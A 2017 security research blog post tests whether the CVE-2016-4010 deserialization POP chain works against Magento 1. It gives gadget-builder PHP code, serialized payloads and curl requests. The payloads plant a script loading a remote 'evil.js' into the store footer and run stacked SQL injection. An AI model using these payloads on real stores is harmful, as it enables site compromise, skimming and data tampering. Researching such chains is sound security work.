Using CVE-2016-4010's POP Chain In Magento 1
Published: September 10, 2017
CVE-2016-4010 is an object injection vulnerability whereby an attacker can trick Magento into unserializing user controlled input.
Additionally, its author identified a POP chain that allows arbitrary file write. The chain, which was discovered in the Magento 2 code base, works like this…
1. Credis_Client::__destruct
Trick Magento into unserializing an instance of Credis_Client
. __destruct
is automatically called on the instance as a result of unserialization.
2. Magento\Sales\Model\Order\Payment\Transaction::close()
Credis_Client
calls close
on its protected redis
property, for which an instance of Magento\Sales\Model\Order\Payment\Transaction
is injected.
3. Magento\Framework\Simplexml\Config\Cache\File::save
Magento\Sales\Model\Order\Payment\Transaction
calls save
on its _resource
property, for which an instance of Magento\Framework\Simplexml\Config\Cache\File
is injected.
4. file_put_contents
Magento\Framework\Simplexml\Config\Cache\File::save
will call file_put_contents
using stat_file_name
and components
. Those properties can also be injected allowing complete control over both the contents and the location of the file (including filename).
A pretty nasty sequence of events…
I decided to do a little investigation into the feasibility of using this POP chain against Magento 1. Here I’ll share my findings…
Before We Get Started
It’s worth noting that I’m not the first person to explore usage of this POP chain in Magento 1. In a post titled “Having Fun With Magento SUPEE-8788” the author explored the same and reached the following conclusion…
Honestly I wrote this blog post since I need some closure on this issue. I’ll save you the painstaking task to review all the possible chains between different classes. I spent countless hours on this, since it seems there are so many injection points and the opportunity to execute a RCE on one of the most famous e-commerce platform was too juicy. Seems it was too good to be true :( (at least for me).
My conclusion on the matter is a bit different. Let’s get started…
The Endpoint
To start out with, we need an endpoint that unserializes untrusted user input. Because there isn’t one in the latest version of Magento 1 (or is there? ), let’s create our own. In the webroot of a testing environment add a file named target.php with the following contents..
<?php
require_once('app/Mage.php');
Mage::app();
$o = unserialize(urldecode($_GET['payload']));
echo get_class($o);
Starting The POP Chain
Let’s start building our POP chain. The best way to do this is to use a PHP script with stub implementations of the classes and properties you want to manipulate. For starters, let’s do a sanity check that we can inject an instance of Credis_Client
. Create a file named gadget-builder.php
(it doesn’t matter where you put it) with the following contents…
<?php
class Credis_Client
{}
echo urlencode(serialize(new Credis_Client));
Then execute it as follows…
$ php gadget-builder.php
O%3A13%3A%22Credis_Client%22%3A0%3A%7B%7D
Now if you hit target.php you should expect to see Credis_Client
in the response.
$ curl http://example.com/target.php\?payload\=O%3A13%3A%22Credis_Client%22%3A0%3A%7B%7D
Credis_Client
Great! We’ve started the POP chain successfully.
Calling close
on the redis
property
Let’s take a look at Credis_Client
’s __destruct
and close
methods.
Credis_Client::__destruct
public function __destruct()
{
if ($this->closeOnDestruct) {
$this->close();
}
}
Credis_Client::close
public function close()
{
$result = TRUE;
if ($this->connected && ! $this->persistent) {
try {
$result = $this->standalone ? fclose($this->redis) : $this->redis->close();
$this->connected = FALSE;
} catch (Exception $e) {
; // Ignore exceptions on close
}
}
return $result;
}
There are a few conditions that need to be met in order for the Credis_Client
instance it call close
on its redis
property.
$this->closeOnDestruct
needs to be true. We can see that that’s the default value, so no changes necessary there.
/**
* @var bool
*/
protected $closeOnDestruct = TRUE;
Also, $this->connected
needs to be true. That, we’ll need to manually set.
Finally $this->persistent
needs to be false and $this->standalone
needs to be true. Again, those are also both the defaults.
We also need to set $this->redis
to an instance of Mage_Sales_Model_Order_Payment_Transaction
. Here’s the updated gadget-builder.php
<?php
class Credis_Client
{
protected $redis;
protected $connected;
public function __construct()
{
$this->connected = true;
$this->redis = new Mage_Sales_Model_Order_Payment_Transaction;
}
}
class Mage_Sales_Model_Order_Payment_Transaction
{}
echo urlencode(serialize(new Credis_Client));
Execute it again to get the payload
$ php gadget-builder.php
O%3A13%3A%22Credis_Client%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00redis%22%3BO%3A42%3A%22Mage_Sales_Model_Order_Payment_Transaction%22%3A0%3A%7B%7Ds%3A12%3A%22%00%2A%00connected%22%3Bb%3A1%3B%7D
Before running the curl, let’s add some debug code to Mage_Sales_Model_Order_Payment_Transaction:close()
as a basic sanity check.
/**
* Close this transaction
* @param bool $shouldSave
* @return Mage_Sales_Model_Order_Payment_Transaction
* @throws Mage_Core_Exception
*/
public function close($shouldSave = true)
{
echo __METHOD__ . PHP_EOL;
if (!$this->_isFailsafe) {
$this->_verifyThisTransactionExists();
}
And run the curl with the new payload and here’s what you should see…
$ curl http://example.com/target.php\?payload\=O%3A13%3A%22Credis_Client%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00redis%22%3BO%3A42%3A%22Mage_Sales_Model_Order_Payment_Transaction%22%3A0%3A%7B%7Ds%3A12%3A%22%00%2A%00connected%22%3Bb%3A1%3B%7D
Credis_ClientMage_Sales_Model_Order_Payment_Transaction::close
Calling save
on _getResource()
The next step in the POP chain is to abuse the save
call on the resource
to obtain file write. Let’s take a look at Mage_Sales_Model_Order_Payment_Transaction::close
to see how we can get there…
public function close($shouldSave = true)
{
if (!$this->_isFailsafe) {
$this->_verifyThisTransactionExists();
}
if (1 == $this->getIsClosed() && $this->_isFailsafe) {
Mage::throwException(Mage::helper('sales')->__('The transaction "%s" (%s) is already closed.', $this->getTxnId(), $this->getTxnType()));
}
$this->setIsClosed(1);
if ($shouldSave) {
$this->save();
}
Setting the _isFailsafe
property to true
will avoid the verifyThisTransactionExists
check.
Next let’s look at Mage_Core_Model_Abstract::save
public function save()
{
/**
* Direct deleted items to delete method
*/
if ($this->isDeleted()) {
return $this->delete();
}
if (!$this->_hasModelChanged()) {
return $this;
}
$this->_getResource()->beginTransaction();
$dataCommited = false;
try {
$this->_beforeSave();
if ($this->_dataSaveAllowed) {
$this->_getResource()->save($this);
$this->_afterSave();
}
We can see it calls both beginTransaction
and save
through _getResource
, which looks like this…
protected function _getResource()
{
if (empty($this->_resourceName)) {
Mage::throwException(Mage::helper('core')->__('Resource is not set.'));
}
return Mage::getResourceSingleton($this->_resourceName);
}
This is an issue. Because _getResource
does not use an internal _resource
property but rather passes _resourceName
as string to Mage::getResourceSingleton
we cannot inject an instance of Varien_Simplexml_Config_Cache_File
and call save
. Thus, we are unable fully execute the file write POP chain identified by the vulnerability’s author.
This was the conclusion of the author of “Having Fun With Magento SUPEE-8788” - that it was a dead end. However, I wanted to dig further to understand what was possible.
Interesting Things We Can Do When Calling save
on _getResource()
While we don’t have complete control over the _resource
property, we’re still in a pretty powerful position. At this point, we have the following under our control…
- The ability to inject a reference to any resource model in the code base
- Complete control over the data the resource model will save
This is basically an (admittedly) watered down version of SQL injection.
Here are a few things we could do…
- Inject malware into the database via
core_config_data
or CMS content. - Tamper with existing admin users or create new ones.
- Tamper with the catalog including pricing.
Let’s try it out…
Injecting Data Malware Into core_config_data
After working through a few errors, I was able to generate a payload to inject data into core_config_data
. The required gadget-builder.php
is as follows…
<?php
class Credis_Client
{
protected $redis;
protected $connected;
public function __construct()
{
$this->connected = true;
$this->redis = new Mage_Sales_Model_Order_Payment_Transaction;
}
}
class Mage_Sales_Model_Order_Payment_Transaction
{
protected $_isFailsafe;
protected $_paymentObject;
protected $_data;
protected $_resourceName;
protected $_idFieldName;
public function __construct()
{
$this->_isFailsafe = true;
$this->_paymentObject = new Mage_Sales_Model_Order_Payment;
$this->_data = [
'order_id' => 1,
'scope' => 'default',
'scope_id' => 0,
'path' => 'design/footer/absolute_footer',
'value' => '<script src="http://example.com/evil.js></script>"'
];
$this->_resourceName = 'core/config_data';
$this->_idFieldName = 'id';
}
}
class Mage_Sales_Model_Order_Payment
{
protected $_idFieldName;
public function __construct()
{
$this->_idFieldName = 'id';
}
}
echo urlencode(serialize(new Credis_Client));
Running it I get the following payload…
$ php gadget-builder.php
O%3A13%3A%22Credis_Client%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00redis%22%3BO%3A42%3A%22Mage_Sales_Model_Order_Payment_Transaction%22%3A5%3A%7Bs%3A14%3A%22%00%2A%00_isFailsafe%22%3Bb%3A1%3Bs%3A17%3A%22%00%2A%00_paymentObject%22%3BO%3A30%3A%22Mage_Sales_Model_Order_Payment%22%3A1%3A%7Bs%3A15%3A%22%00%2A%00_idFieldName%22%3Bs%3A2%3A%22id%22%3B%7Ds%3A8%3A%22%00%2A%00_data%22%3Ba%3A5%3A%7Bs%3A8%3A%22order_id%22%3Bi%3A1%3Bs%3A5%3A%22scope%22%3Bs%3A7%3A%22default%22%3Bs%3A8%3A%22scope_id%22%3Bi%3A0%3Bs%3A4%3A%22path%22%3Bs%3A29%3A%22design%2Ffooter%2Fabsolute_footer%22%3Bs%3A5%3A%22value%22%3Bs%3A50%3A%22%3Cscript+src%3D%22http%3A%2F%2Fexample.com%2Fevil.js%3E%3C%2Fscript%3E%22%22%3B%7Ds%3A16%3A%22%00%2A%00_resourceName%22%3Bs%3A16%3A%22core%2Fconfig_data%22%3Bs%3A15%3A%22%00%2A%00_idFieldName%22%3Bs%3A2%3A%22id%22%3B%7Ds%3A12%3A%22%00%2A%00connected%22%3Bb%3A1%3B%7D
Send that payload to target.php
and then consult the database, to see the malware.
mysql> select * from core_config_data where path = 'design/footer/absolute_footer';
+-----------+---------+----------+-------------------------------+----------------------------------------------------+
| config_id | scope | scope_id | path | value |
+-----------+---------+----------+-------------------------------+----------------------------------------------------+
| 44 | default | 0 | design/footer/absolute_footer | <script src="http://example.com/evil.js></script>" |
+-----------+---------+----------+-------------------------------+----------------------------------------------------+
1 row in set (0.00 sec)
mysql>
Can We Get Raw SQL Injection?
Watered down SQL injection is nice, but complete SQL injection is better. I started to do some investigation to understand if it is possible.
Setting the data directly to an SQL injection string will not work because of escaping. However, there’s a trick.
Instead of using a string, if we pass the data value as an instance of Zend_Db_Expr
it will not be escaped.
Here’s a gadget-builder.php
that inserts into newletter_subscriber
and then deletes the data it just inserted…
<?php
class Credis_Client
{
protected $redis;
protected $connected;
public function __construct()
{
$this->connected = true;
$this->redis = new Mage_Sales_Model_Order_Payment_Transaction;
}
}
class Mage_Sales_Model_Order_Payment_Transaction
{
protected $_isFailsafe;
protected $_paymentObject;
protected $_data;
protected $_resourceName;
protected $_idFieldName;
public function __construct()
{
$this->_isFailsafe = true;
$this->_paymentObject = new Mage_Sales_Model_Order_Payment;
$this->_data = [
'order_id' => 1,
'subscriber_email' => new Zend_Db_Expr("'[email protected]'); DELETE FROM newsletter_subscriber WHERE subscriber_email = '[email protected]'; SELECT (1")
];
$this->_resourceName = 'newsletter/subscriber';
$this->_idFieldName = 'id';
}
}
class Zend_Db_Expr
{
protected $_expression;
public function __construct($expression)
{
$this->_expression = $expression;
}
}
class Mage_Sales_Model_Order_Payment
{
protected $_idFieldName;
public function __construct()
{
$this->_idFieldName = 'id';
}
}
echo urlencode(serialize(new Credis_Client));
Tailing the MySQL general log we can see it happen…
170724 11:51:34 837 Connect root@localhost on magento
837 Query SET SQL_MODE=''
837 Query SET NAMES utf8
837 Query START TRANSACTION
837 Query INSERT INTO `newsletter_subscriber` (`subscriber_email`) VALUES ('[email protected]');
837 Query DELETE FROM newsletter_subscriber WHERE subscriber_email = '[email protected]';
837 Query SELECT (1)
837 Query COMMIT
Conclusion
While I wasn’t able to obtain arbitrary file write using the Credis_Client
to Mage_Sales_Model_Order_Payment_Transaction
POP chain, the fact that it enables save
-ing any resource model, plus complete control over the data being saved still enables some pretty nasty things. I was able to achieve both a watered down version of SQL injection, and then found that full on SQL injection was also possible.
There may be more paths available from the call on save
. If you find any other interesting paths for this POP chain (including file write) let me know in the comments below!